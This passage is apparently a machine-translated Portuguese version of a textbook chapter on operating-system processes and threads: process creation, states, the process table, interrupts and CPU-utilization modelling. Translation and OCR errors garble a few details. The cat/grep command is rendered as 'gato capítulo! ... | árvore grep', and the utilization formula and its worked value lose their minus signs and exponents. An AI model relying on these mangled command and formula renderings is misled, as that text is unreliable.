
disparado para outros discos muito antes da primeira solicitação ser atendida. Claramente de alguma forma é 
necessário para modelar e controlar essa simultaneidade. Processos (e especialmente threads) 

pode ajudar aqui. 

Agora considere um PC de usuário. Quando o sistema é inicializado, muitos processos são 
iniciado secretamente, muitas vezes desconhecido para o usuário. Por exemplo, um processo pode ser iniciado 
aguardar o e-mail recebido. Outro processo pode ser executado em nome do antivírus 
programa para verificar periodicamente se alguma nova definição de vírus está disponível. Além disso, 
processos de usuário explícitos podem estar em execução, imprimindo arquivos e fazendo backup do 
fotos do usuário em um pendrive, enquanto o usuário navega na Web. Toda essa atividade 
deve ser gerenciado, e um sistema de multiprogramação que suporte múltiplos processos 
é muito útil aqui. Até mesmo dispositivos de computação simples, como smartphones 
e tablets, podem suportar vários processos. 

Em qualquer sistema de multiprogramação, cada CPU alterna de processo para processo 
rapidamente, executando cada um por dezenas ou talvez centenas de milissegundos. Embora estritamente 
falando, a qualquer momento cada CPU está executando apenas um processo, no decorrer 
1 segundo pode funcionar em vários deles, dando a ilusão de paralelismo. Algumas vezes as pessoas falam 
de pseudoparalelismo neste contexto, para contrastá-lo com o 
verdadeiro paralelismo de hardware de sistemas multiprocessadores (que possuem dois ou mais 
CPUs compartilhando a mesma memória física). Acompanhar múltiplos e paralelos 
atividades é difícil para as pessoas fazerem. Portanto, os projetistas de sistemas operacionais ao longo do 
anos desenvolveram um modelo conceitual (processos sequenciais) que torna mais fácil lidar com o 
paralelismo. Esse modelo, seus usos e algumas de suas consequências formam 


o assunto deste capítulo. 


2.1.1 O Modelo de Processo 


Neste modelo, todo o software executável no computador, às vezes incluindo 
o sistema operacional, é organizado em uma série de processos sequenciais, ou apenas 
processos para abreviar. Um processo é apenas uma instância de um programa em execução, incluindo os 
valores atuais do contador do programa, dos registradores e das variáveis. Conceitualmente, cada processo 
possui sua própria CPU virtual. Na realidade, é claro, cada real 
A CPU alterna entre processos, mas para entender o sistema, é muito mais fácil pensar em uma coleção de 
processos em execução (pseudo) 
paralelo do que tentar acompanhar como cada CPU muda de programa para programa. Alternar rapidamente 
para frente e para trás dessa forma é conhecido como multiprogramação, 
como vimos no Cap. 1. 

Na Figura 2.1(a), vemos um computador multiprogramando quatro programas na memória. Na Figura 
2-1(b), vemos quatro processos, cada um com seu próprio fluxo de controle (ou seja, seu próprio fluxo de controle). 
próprio contador de programa lógico), e cada um rodando independentemente do outro 
uns. É claro que existe apenas um contador de programa físico, portanto, quando cada processo 
é executado, seu contador de programa lógico é carregado no contador de programa real. Quando é 
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concluído (por enquanto), o contador físico do programa é salvo no processo" 
contador de programa lógico armazenado na memória. Na Figura 2-1(c) vemos que, visto de cima 
um intervalo de tempo suficientemente longo, todos os processos progrediram, mas em qualquer momento 


Instantaneamente, apenas um processo está realmente em execução. 


Um contador de programa 


Quatro contadores de programa 


Processo 
trocar 


>» Ww O U 


Figura 2-1. (a) Multiprogramação de quatro programas. (b) Modelo conceitual de quatro 
processos independentes e sequenciais. (c) Apenas um programa está ativo por vez. 


Neste capítulo, assumiremos que há apenas uma CPU. Muitas vezes essa suposição 
não se sustenta, uma vez que os novos chips geralmente são multicore, com dois, quatro ou mais núcleos. 
Veremos chips multicore e multiprocessadores em geral no Cap. 8, mas para 
por enquanto, é mais simples pensar em uma CPU por vez. Então, quando dizemos isso 
uma CPU pode realmente executar apenas um processo por vez, se houver dois núcleos (ou CPUs) 
cada um deles pode executar apenas um processo por vez. 

Com a CPU alternando entre vários processos, a taxa em 
qual um processo executa seu cálculo não será uniforme e provavelmente não 
mesmo reproduzível se os mesmos processos forem executados novamente. Assim, os processos não devem ser 
programados com suposições integradas sobre sua velocidade. Considere, por exemplo, 
um processo de áudio que reproduz música para acompanhar um vídeo de alta qualidade executado por outro 
núcleo. Como o áudio deve começar um pouco depois do vídeo, ele sinaliza o 
servidor de vídeo comece a reproduzir e, em seguida, execute um loop inativo 10.000 vezes antes de reproduzir 
o áudio. Tudo correrá bem, se o loop for um temporizador confiável, mas se a CPU decidir mudar para outro 
processo durante o loop inativo, o processo de áudio poderá não funcionar. 
execute novamente até que os quadros de vídeo correspondentes já tenham surgido e desaparecido, e 
o vídeo e o áudio ficarão irritantemente fora de sincronia. Quando um processo tem problemas críticos 
Para requisitos de tempo real como este, ou seja, eventos específicos devem ocorrer dentro de um número 
específico de milissegundos, medidas especiais devem ser tomadas para garantir que eles ocorram. 
ocorrer. Normalmente, entretanto, a maioria dos processos não é afetada pela multiprogramação subjacente da 
CPU ou pelas velocidades relativas de diferentes processos. 

A diferença entre um processo e um programa é sutil, mas absolutamente crucial. Uma analogia pode 
ajudá-lo aqui. Consideremos um cientista da computação com mentalidade culinária que está preparando um 
bolo de aniversário para sua filha pequena. Ele tem um bolo de aniversário 


receita e uma cozinha bem abastecida com todos os insumos: farinha, ovos, açúcar, extrato de 
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baunilha e assim por diante. Nesta analogia, a receita é o programa, ou seja, um algoritmo expresso em alguma 
notação adequada, o cientista da computação é o processador (CPU) e os ingredientes do bolo são os dados de 
entrada. O processo é a atividade que consiste em nosso padeiro ler a receita, buscar os ingredientes e assar o 
bolo. 

Agora imagine que o filho do cientista da computação chegue correndo e gritando, dizendo que foi picado 
por uma abelha. O cientista da computação registra onde ele estava na receita (o estado do processo atual é 
salvo), pega um livro de primeiros socorros e começa a seguir as instruções nele contidas. Aqui vemos o 
processador sendo transferido de um processo (cozimento) para um processo de maior prioridade (administração 


de cuidados médicos), cada um com um programa diferente (receita versus livro de primeiros socorros). 


Depois de resolvida a picada da abelha, o cientista da computação volta ao bolo, continuando do ponto onde 
parou. 

A ideia principal aqui é que um processo é algum tipo de atividade. Possui um programa, entrada, saída e 
um estado. Um único processador pode ser compartilhado entre vários processos, com algum algoritmo de 
escalonamento acostumado a determinar quando parar o trabalho em um processo e atender outro diferente. Por 


outro lado, um programa é algo que pode ser armazenado em disco, sem fazer nada. 


Vale ressaltar que se um programa for executado duas vezes, ele conta como dois processos. 
Por exemplo, muitas vezes é possível iniciar um processador de texto duas vezes ou imprimir dois arquivos ao 
mesmo tempo se duas impressoras estiverem disponíveis. O fato de dois processos estarem executando o mesmo 
programa não importa; são processos distintos. O sistema operacional pode ser capaz de compartilhar o código 
entre eles de forma que apenas uma cópia fique na memória, mas isso é um detalhe técnico que não altera a 


situação conceitual de dois processos em execução. 


2.1.2 Criação de Processo 


Os sistemas operacionais precisam de alguma forma para criar processos. Em sistemas muito simples, ou 
em sistemas projetados para executar apenas uma única aplicação (por exemplo, o controlador de um forno de 
micro-ondas), pode ser possível ter todos os processos que serão necessários presentes quando o sistema for 
iniciado. Em sistemas de uso geral, entretanto, é necessário algum meio para criar e encerrar processos conforme 


necessário durante a operação. Veremos agora algumas das questões. 


Quatro eventos principais fazem com que os processos sejam criados: 


1. Inicialização do sistema 
2. Execução de uma chamada de sistema de criação de processo por um processo em execução 
3. Uma solicitação do usuário para criar um novo processo 


4. Início de um trabalho em lote 


Quando um sistema operacional é inicializado, normalmente vários processos são criados. 
Alguns desses processos são processos de primeiro plano, ou seja, processos que interagem 
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com usuários (humanos) e realizar trabalho para eles. Outros são executados em segundo plano e não 
estão associados a usuários específicos, mas possuem alguma função específica. 

Por exemplo, um processo em segundo plano pode ser projetado para aceitar e-mails recebidos, 
dormindo a maior parte do dia, mas ganhando vida repentinamente quando o e-mail chega. Outro 
processo em segundo plano pode ser projetado para aceitar solicitações recebidas de páginas da Web 
hospedadas naquela máquina, sendo ativado quando chega uma solicitação para atendê-la. 

Os processos que ficam em segundo plano para lidar com algumas atividades, como e-mail, páginas da 
Web, notícias, impressão e assim por diante, são cnamados de daemons. Grandes sistemas geralmente 
tem dezenas deles. No UNIX+, o programa ps pode ser usado para listar os processos em execução. 

No Windows, o gerenciador de tarefas pode ser usado. 

Além dos processos criados durante a inicialização, novos processos também podem ser criados 
posteriormente. Frequentemente, um processo em execução emitirá cnamadas de sistema para criar 
um ou mais novos processos para ajudá-lo a realizar seu trabalho. A criação de novos processos é 
particularmente útil quando o trabalho a ser realizado pode ser facilmente formulado em termos de vários 
processos interativos relacionados, mas de outra forma independentes. Por exemplo, se uma grande 
quantidade de dados estiver sendo buscada em uma rede para processamento posterior, pode ser 
conveniente criar um processo para buscar os dados e colocá-los em um buffer compartilhado enquanto 
um segundo processo remove os itens de dados e os processa. . Em um multiprocessador, permitir que 
cada processo seja executado em uma CPU diferente também pode tornar o trabalho mais rápido. 

Em sistemas interativos, os usuários podem iniciar um programa digitando um comando ou 
clicando (duas vezes) em um ícone. A execução de qualquer uma dessas ações inicia um novo processo 
e executa o programa selecionado nele. Em sistemas UNIX baseados em comandos que executam o X 
Window System, o novo processo assume a janela na qual foi iniciado. No Windows, quando um 
processo é iniciado ele não possui janela, mas pode criar uma (ou mais) e a maioria o faz. Em ambos os 
sistemas, os usuários podem ter diversas janelas abertas ao mesmo tempo, cada uma executando 
algum processo. Usando o mouse, o usuário pode selecionar uma janela e interagir com o processo, por 
exemplo, fornecendo informações quando necessário. 

A última situação em que os processos são criados aplica-se apenas a sistemas em lote encontrados 
em grandes mainframes. Pense no gerenciamento de estoque no final do dia em uma rede de lojas — 
calculando o que pedir, analisando a popularidade do produto por loja, etc. Aqui os usuários podem 
enviar trabalhos em lote ao sistema (possivelmente remotamente). Quando o sistema operacional decide 
que possui recursos para executar outro trabalho, ele cria um novo processo e executa o próximo 
trabalho da fila de entrada nele. 

Tecnicamente, em todos esses casos, um novo processo é criado fazendo com que um processo 
existente execute uma chamada de sistema de criação de processo. Esse processo pode ser um 
processo de usuário em execução, um processo de sistema invocado a partir do teclado ou mouse, ou 
um processo gerenciador de lotes. O que esse processo faz é executar uma chamada de sistema para 
criar o novo processo. Esta chamada de sistema instrui o sistema operacional a criar um novo processo 
e indica, direta ou indiretamente, qual programa executar nele. Para dar o pontapé inicial, o primeiro 
processo é elaborado quando o sistema é inicializado. 


t Neste capítulo, UNIX deve ser interpretado como incluindo quase todos os sistemas baseados em POSIX, 
incluindo Linux, FreeBSD, MacOS, Solaris, etc., e até certo ponto, Android e iOS também. 
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No UNIX, existe apenas uma chamada de sistema para criar um novo processo: fork. Esta chamada cria 
um clone exato do processo de chamada. Após a bifurcação, os dois processos, o pai e o filho, terão a mesma 
imagem de memória, as mesmas cadeias de ambiente e os mesmos arquivos abertos. Isso é tudo que existe. 
Normalmente, o processo filho executa execve ou uma chamada de sistema semelhante para alterar sua 
imagem de memória e executar um novo programa. Por exemplo, quando um usuário digita um comando, 
digamos, sort, no shell, o shell desvia um processo filho e o filho executa sort. A razão para esse processo de 
duas etapas é permitir que o filho manipule seus descritores de arquivo após a bifurcação , mas antes do 
execve , a fim de realizar o redirecionamento da entrada padrão, da saída padrão e do erro padrão. 


No Windows, por outro lado, uma única cnamada de função Win32, CreateProcess, cuida da criação do 
processo e do carregamento do programa correto no novo processo. Esta chamada possui 10 parâmetros, 
que incluem o programa a ser executado, os parâmetros de linha de comando para alimentar esse programa, 
vários atributos de segurança, bits que controlam se os arquivos abertos são herdados, informações de 
prioridade, uma especificação da janela a ser criada para o processo (se houver) e um ponteiro para uma 
estrutura na qual as informações sobre o processo recém-criado são retornadas ao chamador. Além do 
CreateProcess, o Win32 possui cerca de 100 outras funções para gerenciamento e sincronização de processos 
e tópicos relacionados. 


Nos sistemas UNIX e Windows, após a criação de um processo, o pai e o filho têm seus próprios espaços 
de endereço distintos. Se um dos processos alterar uma palavra em seu espaço de endereço, a alteração não 
será visível para o outro processo. No UNIX tradicional, o espaço de endereço inicial do filho é uma cópia do 
pai, mas há definitivamente dois espaços de endereço distintos envolvidos; nenhuma memória gravável é 
compartilhada. Algumas implementações do UNIX compartilham o texto do programa entre os dois, pois ele 
não pode ser modificado. Alternativamente, o filho pode compartilhar toda a memória do pai, mas nesse caso 
a memória é compartilhada copy-on-write, o que significa que sempre que um dos dois quiser modificar parte 
da memória, esse pedaço de memória é copiado explicitamente primeiro. para garantir que a modificação 
ocorra em uma área de memória privada. Novamente, nenhuma memória gravável é compartilhada. No 
entanto, é possível que um processo recém-criado compartilhe alguns dos outros recursos de seu criador, 
como arquivos abertos. No Windows, os espaços de endereço dos pais e dos filhos são diferentes desde o 


início. 


2.1.3 Encerramento do Processo 


Depois que um processo é criado, ele começa a ser executado e executa qualquer que seja seu trabalho. 
Porém, nada dura para sempre, nem mesmo os processos. Mais cedo ou mais tarde, o novo processo 


terminará, geralmente devido a uma das seguintes condições: 


1. Saída normal (voluntária) 
2. Erro de saída (voluntário) 
3. Erro fatal (involuntário) 


4. Morto por outro processo (involuntário) 
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A maioria dos processos termina porque eles terminaram seu trabalho. Quando um compilador 
compila o programa fornecido a ele, o compilador executa uma chamada de sistema para informar ao 
sistema operacional que ele foi concluído. Esta chamada é exit no UNIX e ExitProcess no Windows. 
Os programas orientados para a tela também apoiam a rescisão voluntária. Processadores de texto, 
navegadores de Internet e programas semelhantes sempre têm um ícone ou item de menu no qual o 
usuário pode clicar para informar ao processo para remover quaisquer arquivos temporários abertos 
e, em seguida, encerrar. 

A segunda razão para o encerramento é que o processo descobre um erro fatal. 

Por exemplo, se um usuário digitar o comando 


cc foo.c 


para compilar o programa foo.c e tal arquivo não existir, o compilador simplesmente anuncia esse 
fato e sai. Os processos interativos orientados à tela geralmente não são encerrados quando recebem 
parâmetros incorretos. Em vez disso, eles abrem uma caixa de diálogo e pedem ao usuário para 
tentar novamente. 

A terceira razão para o encerramento é um erro causado pelo processo, muitas vezes devido a 
um bug do programa. Os exemplos incluem a execução de uma instrução ilegal, referência a 
memória inexistente ou divisão por zero. Em alguns sistemas (por exemplo, UNIX), um processo pode 
dizer ao sistema operacional que deseja tratar ele mesmo certos erros, caso em que o processo é 
sinalizado (interrompido) em vez de encerrado quando um dos erros 
ocorre. 

A quarta razão pela qual um processo pode terminar é que ele executa uma chamada de 
sistema informando ao sistema operacional para encerrar algum outro processo. No UNIX esta 
chamada é kill. A função Win32 correspondente é TerminateProcess. Em ambos os casos, o assassino 
deve ter a autorização necessária para agir no assassinado. Em alguns sistemas, quando um processo 
termina, voluntariamente ou não, todos os processos criados por ele também são imediatamente 
eliminados. Nem o UNIX nem o Windows funcionam desta forma, como 


sempre. 


2.1.4 Hierarquias de Processos 


Em alguns sistemas, quando um processo cria outro processo, o processo pai e o processo filho 
continuam associados de determinadas maneiras. O próprio processo filho pode criar mais processos, 
formando uma hierarquia de processos. Observe que, diferentemente das plantas e dos animais que 
utilizam a reprodução sexuada, um processo tem apenas um pai (mas zero, um, dois ou mais filhos). 
Portanto, um processo é mais parecido com uma hidra do que, digamos, com uma vaca. 

No UNIX, um processo e todos os seus filhos e descendentes juntos formam um grupo de 
processos. Quando um usuário envia um sinal do teclado (por exemplo, pressionando CTRL-C), o 
sinal é entregue a todos os membros do grupo de processos atualmente associado ao teclado 
(geralmente todos os processos ativos que foram criados na janela atual). Individualmente, cada 
processo pode capturar o sinal, ignorá-lo ou executar a ação padrão, que é ser eliminado pelo sinal. 
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Como outro exemplo de onde a hierarquia de processos desempenha um papel fundamental, vejamos como o 
UNIX se inicializa quando é iniciado, logo após o computador ser inicializado. 
Um processo especial, denominado init, está presente na imagem de inicialização. Quando começa a rodar, ele lê um 
arquivo informando quantos terminais existem. Em seguida, ele cria um novo processo por terminal. Esses processos 
esperam que alguém faça login. Se o login for bem-sucedido, o processo de login executa um shell para aceitar 
comandos. Esses comandos podem iniciar mais processos e assim por diante. Assim, todos os processos de todo o 


sistema pertencem a uma única árvore, com init na raiz. 


Por outro lado, o Windows não tem conceito de hierarquia de processos. Todos os processos são iguais. A única 
dica de uma hierarquia de processos é que quando um processo é criado, o pai recebe um token especial (chamado 
identificador ) que pode ser usado para controlar o filho. 

Entretanto, é livre passar esse token para algum outro processo, invalidando assim a hierarquia. Os processos no 
UNIX não podem deserdar seus filhos. 


2.1.5 Estados do Processo 


Embora cada processo seja uma entidade independente, com seu próprio contador de programa e estado 
interno, os processos geralmente precisam interagir com outros processos. Um processo pode gerar alguma saída 
que outro processo usa como entrada. No comando 


gato capítulo! capítulo? capítuloS | árvore grep 


o primeiro processo, executando cat, concatena e gera três arquivos. O segundo processo, executando grep, seleciona 
todas as linhas contendo a palavra “árvore”. Dependendo das velocidades relativas dos dois processos (que depende 
tanto da complexidade relativa dos programas quanto de quanto tempo de CPU cada um teve). , pode acontecer que 
o grep esteja pronto para ser executado, mas não haja nenhuma entrada aguardando por ele. Ele deve então bloquear 


até que alguma entrada esteja disponível. 


Quando um processo é bloqueado, ele o faz porque logicamente não pode continuar, normalmente porque está 
aguardando uma entrada que ainda não está disponível. Também é possível que um processo que esteja 
conceitualmente pronto e capaz de ser executado seja interrompido porque o sistema operacional decidiu alocar a 
CPU para outro processo por um tempo. Estas duas condições são completamente diferentes. No primeiro caso, a 
suspensão é inerente ao problema (não é possível processar a linha de comando do usuário até que ela seja digitada). 
No segundo caso, é um detalhe técnico do sistema (CPUs insuficientes para dar a cada processo seu próprio 
processador privado). Na Figura 2-2 vemos um diagrama de estado mostrando os três estados em que um processo 
pode estar: 


1. Em execução (na verdade, usando a CPU naquele instante). 
2. Pronto (executável; interrompido temporariamente para permitir a execução de outro processo). 
3. Bloqueado (incapaz de executar até que ocorra algum evento externo). 


Logicamente, os dois primeiros estados são semelhantes. Em ambos os casos o processo está disposto a rodar, 


apenas no segundo não há CPU disponível temporariamente para ele. O terceiro estado 
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é fundamentalmente diferente dos dois primeiros porque o processo não pode ser executado, mesmo se 
a CPU estiver ociosa e não tiver mais nada para fazer. 


1. Blocos de processo para entrada 
2. O agendador escolhe outro processo 3. O 
agendador escolhe este processo 4. A 
entrada fica disponível 
Bloqueado p! 
Figura 2-2. Um processo pode estar em estado de execução, bloqueado ou pronto. As 
transições entre esses estados são mostradas. 


Quatro transições são possíveis entre estes três estados, como mostrado. A transição 1 ocorre 
quando o sistema operacional descobre que um processo não pode continuar no momento. Em alguns 
sistemas, o processo pode executar uma chamada de sistema, como uma pausa, para entrar no estado 
bloqueado. Em outros sistemas, incluindo UNIX, quando um processo lê um pipe ou arquivo especial (por 
exemplo, um terminal) e não há nenhuma entrada disponível, o processo é automaticamente bloqueado. 


As transições 2 e 3 são causadas pelo escalonador de processos, uma parte do sistema operacional, 
sem que o processo sequer saiba sobre elas. A transição 2 ocorre quando o escalonador decide que o 
processo em execução já foi executado por tempo suficiente e é hora de permitir que outro processo 
tenha algum tempo de CPU. A transição 3 ocorre quando todos os outros processos tiveram seu quinhão 
e é hora do primeiro processo fazer a CPU funcionar novamente. A questão do agendamento, isto é, 
decidir qual processo deve ser executado, quando e por quanto tempo, é importante; veremos isso mais 
adiante neste capítulo. 

Muitos algoritmos foram desenvolvidos para tentar equilibrar as demandas concorrentes de eficiência 
para o sistema como um todo e justiça para processos individuais. Estudaremos alguns deles mais 
adiante neste capítulo. 

A transição 4 ocorre quando ocorre o evento externo pelo qual um processo estava aguardando 
(como a chegada de alguma entrada). Se nenhum outro processo estiver em execução naquele instante, 
a transição 3 será acionada e o processo começará a ser executado. Caso contrário, pode ser necessário 
esperar um pouco no estado pronto até que a CPU esteja disponível e chegue sua vez. 


Usando o modelo de processo, fica muito mais fácil pensar sobre o que está acontecendo dentro do 
sistema. Alguns dos processos executam programas que executam comandos digitados por um usuário. 
Outros processos fazem parte do sistema e lidam com tarefas como executar solicitações de serviços de 
arquivos ou gerenciar os detalhes da execução de um disco ou unidade de fita. Quando ocorre uma 
interrupção no disco, o sistema toma a decisão de parar de executar o processo atual e executar o 
processo do disco, que estava bloqueado aguardando aquela interrupção. Assim, em vez de pensar em 
interrupções, podemos pensar em processos de usuário, processos de disco, processos terminais e 
assim por diante, que bloqueiam quando estão aguardando que algo aconteça. Quando o disco for lido 
ou o caractere digitado, o processo que o aguarda é desbloqueado e pode ser executado novamente. 
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Esta visão dá origem ao modelo mostrado na Figura 2-3. Aqui, o nível mais baixo do sistema 
operacional é o agendador, com uma variedade de processos em cima dele. Todo o tratamento de 
interrupções e detalhes de realmente iniciar e parar processos estão ocultos no que é aqui cnamado 
de escalonador, que na verdade não é muito código. 

O resto do sistema operacional está bem estruturado em forma de processo. Contudo, poucos 
sistemas reais são tão bem estruturados como este. 


Processos 


Agendador 


Figura 2-3. A camada mais baixa de um sistema operacional estruturado por processos lida com 
interrupções e agendamento. Acima dessa camada estão os processos sequenciais. 


2.1.6 Implementação de Processos 


Para implementar o modelo de processo, o sistema operacional mantém uma tabela (um array 
de estruturas), chamada tabela de processos, com uma entrada por processo. (Alguns autores 
chamam essas entradas de blocos de controle de processo.) Esta entrada contém informações 
importantes sobre o estado do processo, incluindo seu contador de programa, ponteiro de pilha, 
alocação de memória, o status de seus arquivos abertos, suas informações de contabilidade e 
agendamento e tudo mais. sobre o processo que deve ser salvo quando o processo passa do estado 
em execução para o estado pronto ou bloqueado , para que possa ser reiniciado mais tarde, como 
se nunca tivesse sido interrompido. 

A Figura 2-4 mostra alguns dos campos-chave de um sistema típico. Os campos da primeira 
coluna referem-se ao gerenciamento de processos. Os outros dois estão relacionados ao 
gerenciamento de memória e ao gerenciamento de arquivos, respectivamente. Deve-se notar que 
exatamente quais campos a tabela de processo possui são altamente dependentes do sistema, mas 
esta figura dá uma idéia geral dos tipos de informações necessárias. 

Agora que vimos a tabela de processos, é possível explicar um pouco mais sobre como a ilusão 
de múltiplos processos sequenciais é mantida em uma (ou em cada) CPU e também explicar as 
interrupções com mais detalhes do que pudemos fazer no Capítulo . 1. Associado a cada classe de 
E/S está um local (normalmente em um local fixo próximo ao final da memória) chamado vetor de 
interrupção. Ele contém o endereço do ISR (Rotina de Serviço de Interrupção). Suponha que o 
processo do usuário 3 esteja em execução quando ocorre uma interrupção no disco. O contador de 
programa do processo do usuário 3, a palavra de status do programa e, às vezes, um ou mais 
registros são colocados na pilha (atual) pelo hardware de interrupção. O computador então salta para 
o endereço no vetor de interrupção. Isso é tudo que o hardware faz. A partir daqui, cabe ao ISR em 
software. 
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Gerenciamento de processos Gerenciamento de memória Gerenciamento de arquivos 
Registros Ponteiro para informações do segmento de texto Diretório raiz 
Contador de programa Ponteiro para informações do segmento dejdados Diretor de trabalho y 
Palavra de status do programa Ponteiro para empilhar informações do segmento Descritores de arquivo 
Ponteiro de pilha ID do usuário 
Estado do processo ID do grupo 
Prioridade 


Parâmetros de agendamento 

ID do processo 

Processo pai 

Grupo de processos 

Sinais 

Hora em que o processo foi iniciado 
Tempo de CPU usado 

Tempo de CPU infantil 

Hora do próximo alarme 


Figura 2-4. Alguns dos campos de uma entrada típica de tabela de processos. 


Todas as interrupções começam salvando os registradores, muitas vezes na entrada da tabela de processos para 
o processo atual. Então a informação colocada na pilha pela interrupção é 
removido e o ponteiro da pilha é definido para apontar para uma pilha temporária usada pelo manipulador do processo. Ações 
como salvar os registradores e definir o ponteiro da pilha não podem nem mesmo ser expressas em linguagens de alto nível 
como C, portanto são executadas por 
uma pequena rotina em linguagem assembly, geralmente a mesma para todas as interrupções desde o 
o trabalho de salvar os registradores é idêntico, independentemente da causa da interrupção. 
Quando esta rotina termina, ela chama um procedimento C para fazer o resto do trabalho 
para este tipo de interrupção específico. (Assumimos que o sistema operacional está escrito em C, 
a escolha usual para todos os sistemas operacionais usados na produção.) Quando terminar 
seu trabalho, possivelmente deixando algum processo pronto, o escalonador é chamado para ver 
o que executar a seguir. Depois disso, o controle é passado de volta para o código em linguagem assembly 
para carregar os registros e o mapa de memória para o processo atual e iniciá-lo 
correndo. O tratamento e agendamento de interrupções estão resumidos na Figura 2.5. Vale a pena 
observando que os detalhes variam um pouco de sistema para sistema. 
Um processo pode ser interrompido milhares de vezes durante sua execução, mas o 
A ideia principal é que após cada interrupção o processo interrompido retorne precisamente ao ponto 


mesmo estado em que estava antes da interrupção ocorrer. 
2.1.7 Modelagem de Multiprogramação 


Quando a multiprogramação é usada, a utilização da CPU pode ser melhorada. 
Dito de maneira grosseira, se o processo médio computa apenas 20% do tempo em que está parado 
memória, então com cinco processos na memória ao mesmo tempo a CPU deve estar ocupada o tempo todo 
A Hora. Contudo, este modelo é irrealisticamente optimista, uma vez que assume tacitamente 


que todos os cinco processos nunca estarão esperando por E/S ao mesmo tempo. 
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1. Contador de programas de pilhas de hardware, etc. 

2. O hardware carrega um novo contador de programa a partir do vetor de interrupção. 

3. O procedimento em linguagem assembly salva registros. 

4. O procedimento em linguagem assembly configura uma nova pilha. 

5. O serviço de interrupção C é executado (normalmente lê e armazena em buffer a entrada). 

6. O agendador decide qual processo será executado em seguida. 

7. O procedimento C retorna ao código assembly. 

8. O procedimento em linguagem assembly inicia um novo processo atual. 


Figura 2-5. Esqueleto do que o nível mais baixo do sistema operacional faz quando ocorre 
uma interrupção. Os detalhes podem variar entre os sistemas operacionais. 


Um modelo melhor é observar o uso da CPU de um ponto de vista probabilístico. Suponha que 
um processo gaste uma fração p do seu tempo aguardando a conclusão da E/S. Com n processos na 
memória ao mesmo tempo, a probabilidade de todos os n processos estarem aguardando E/S (nesse 
caso a CPU ficará ociosa) é pn . A utilização da CPU é então dada pela fórmula 


Utilização da CPU = 1 pn 


A Figura 2.6 mostra, para diferentes valores de p (ou "espera de E/S"), a utilização da CPU em função 
de n, que é chamada de grau de multiprogramação. 


20% de espera de E/S 


100 


50% de espera de E/S 


80 


60 


80% de espera de E/S 


40 


20 


0 1 23456789 10 
Grau de multiprogramação 


Figura 2-6. Utilização da CPU em função do número de processos na memória. 


A partir da figura fica claro que se os processos gastam 80% do seu tempo esperando por E/S, pelo 
menos 10 processos devem estar na memória ao mesmo tempo para que o desperdício de CPU seja 
inferior a 10%. Quando você percebe que um processo interativo aguardando que um usuário digite 
algo em um terminal (ou clique em um ícone) está em estado de espera de E/S, deve ficar claro que 
tempos de espera de E/S de 80% ou mais não são incomum. Mas mesmo em servidores, os processos 
que realizam muita E/S de disco geralmente terão essa porcentagem ou mais. 
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Por uma questão de precisão, deve salientar-se que o modelo probabilístico que acabamos 
de descrever é apenas uma aproximação. Ela assume implicitamente que todos os n processos 
são independentes, o que significa que é bastante aceitável para um sistema com cinco 
processos na memória ter três em execução e dois em espera. Mas com uma única CPU, não 
podemos ter três processos rodando ao mesmo tempo, então um processo que fica pronto 
enquanto a CPU está ocupada terá que esperar. Assim, os processos não são independentes. 
Um modelo mais preciso pode ser construído usando a teoria das filas, mas o ponto que 
estamos defendendo — a multiprogramação permite que os processos usem a CPU quando ela 
ficaria ociosa — é, claro, ainda válido, mesmo que as verdadeiras curvas da Figura 2-6 são 
ligeiramente diferentes daqueles mostrados na figura. 

Embora o modelo da Figura 2.6 seja bastante simplista, ele ainda pode ser usado para 
fazer previsões específicas, embora aproximadas, sobre o desempenho da CPU. Suponhamos, 
por exemplo, que um computador tenha 8 GB de memória, com o sistema operacional e suas 
tabelas ocupando 2 GB e cada programa do usuário ocupando também 2 GB. Esses tamanhos 
permitem que três programas de usuário estejam na memória ao mesmo tempo. Com uma 
espera média de E/S de 80%, temos uma utilização da CPU (ignorando a sobrecarga do 
sistema operacional) de 10,83 ou cerca de 49%. A adição de mais 8 GB de memória permite 
que o sistema passe da multiprogramação de três vias para a multiprogramação de sete vias, 
aumentando assim a utilização da CPU para 79%. Em outras palavras, os 8 GB adicionais 
aumentarão o rendimento em 30%. 

Adicionar mais 8 GB aumentaria a utilização da CPU apenas de 79% para 91%, 
aumentando assim o rendimento em apenas mais 12%. Usando este modelo, o proprietário 


do computador pode decidir que a primeira adição foi um bom investimento, mas que a segunda 
não foi. 


2.2 TÓPICOS 


Nos sistemas operacionais tradicionais, cada processo possui um espaço de endereço e 
um único thread de controle. Na verdade, essa é quase a definição de um processo. No 
entanto, em muitas situações, é útil ter vários threads de controle no mesmo espaço de 
endereço rodando quase em paralelo, como se fossem processos (quase) separados (exceto 
para o espaço de endereço compartilhado). Nas seções a seguir, discutiremos threads e suas 
implicações. Mais tarde veremos uma solução alternativa. 


2.2.1 Uso de thread 


Por que alguém iria querer ter um tipo de processo dentro de um processo? Acontece que 
existem vários motivos para a existência desses miniprocessos, chamados threads. Vamos 
agora examinar alguns deles. A principal razão para ter threads é que em muitas aplicações, 
múltiplas atividades acontecem ao mesmo tempo. Alguns deles podem bloquear de vez em 
quando. Ao decompor tal aplicativo em vários threads sequenciais que são executados quase 
em paralelo, o modelo de programação se torna mais simples. 
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Já vimos esse argumento uma vez. É precisamente o argumento a favor da existência de 
processos. Em vez de pensar em interrupções, temporizadores e trocas de contexto, 
podemos pensar em processos paralelos. Somente agora, com threads, adicionamos um novo 
elemento: a capacidade das entidades paralelas compartilharem um espaço de endereço e todos os seus dados. 
entre eles. Esta capacidade é essencial para certas aplicações, razão pela qual 
ter vários processos (com seus espaços de endereço separados) não funcionará. 
Um segundo argumento para ter fios é que, uma vez que são mais leves do que 


processos, eles são mais fáceis (ou seja, mais rápidos) de criar e destruir. Em muitos sistemas, 

criar um thread é 10 a 100 vezes mais rápido do que criar um processo. Quando o número de threads 
necessários muda de forma dinâmica e rápida, esta propriedade é útil para 

ter. 

Uma terceira razão para ter threads também é um argumento de desempenho. Tópicos 
não geram nenhum ganho de desempenho quando todos eles estão vinculados à CPU, mas quando 
há computação substancial e também E/S substancial, ter threads permite essas atividades 
sobrepor-se, agilizando assim a aplicação. 

Finalmente, threads são úteis em sistemas com múltiplas CPUs, onde o paralelismo real é 
possível. Voltaremos a esta questão no Cap. 8. 

É mais fácil ver por que os threads são úteis observando alguns exemplos concretos. Como 
primeiro exemplo, considere um processador de texto. Os processadores de texto geralmente exibem 
o documento que está sendo criado na tela formatado exatamente como aparecerá 
na página impressa. Em particular, todas as quebras de linha e de página estão em seus 
posições corretas e finais, para que o usuário possa inspecioná-las e alterar o documento se necessário 
(por exemplo, para eliminar viúvas e órfãs — linhas superiores e inferiores incompletas em uma página, 
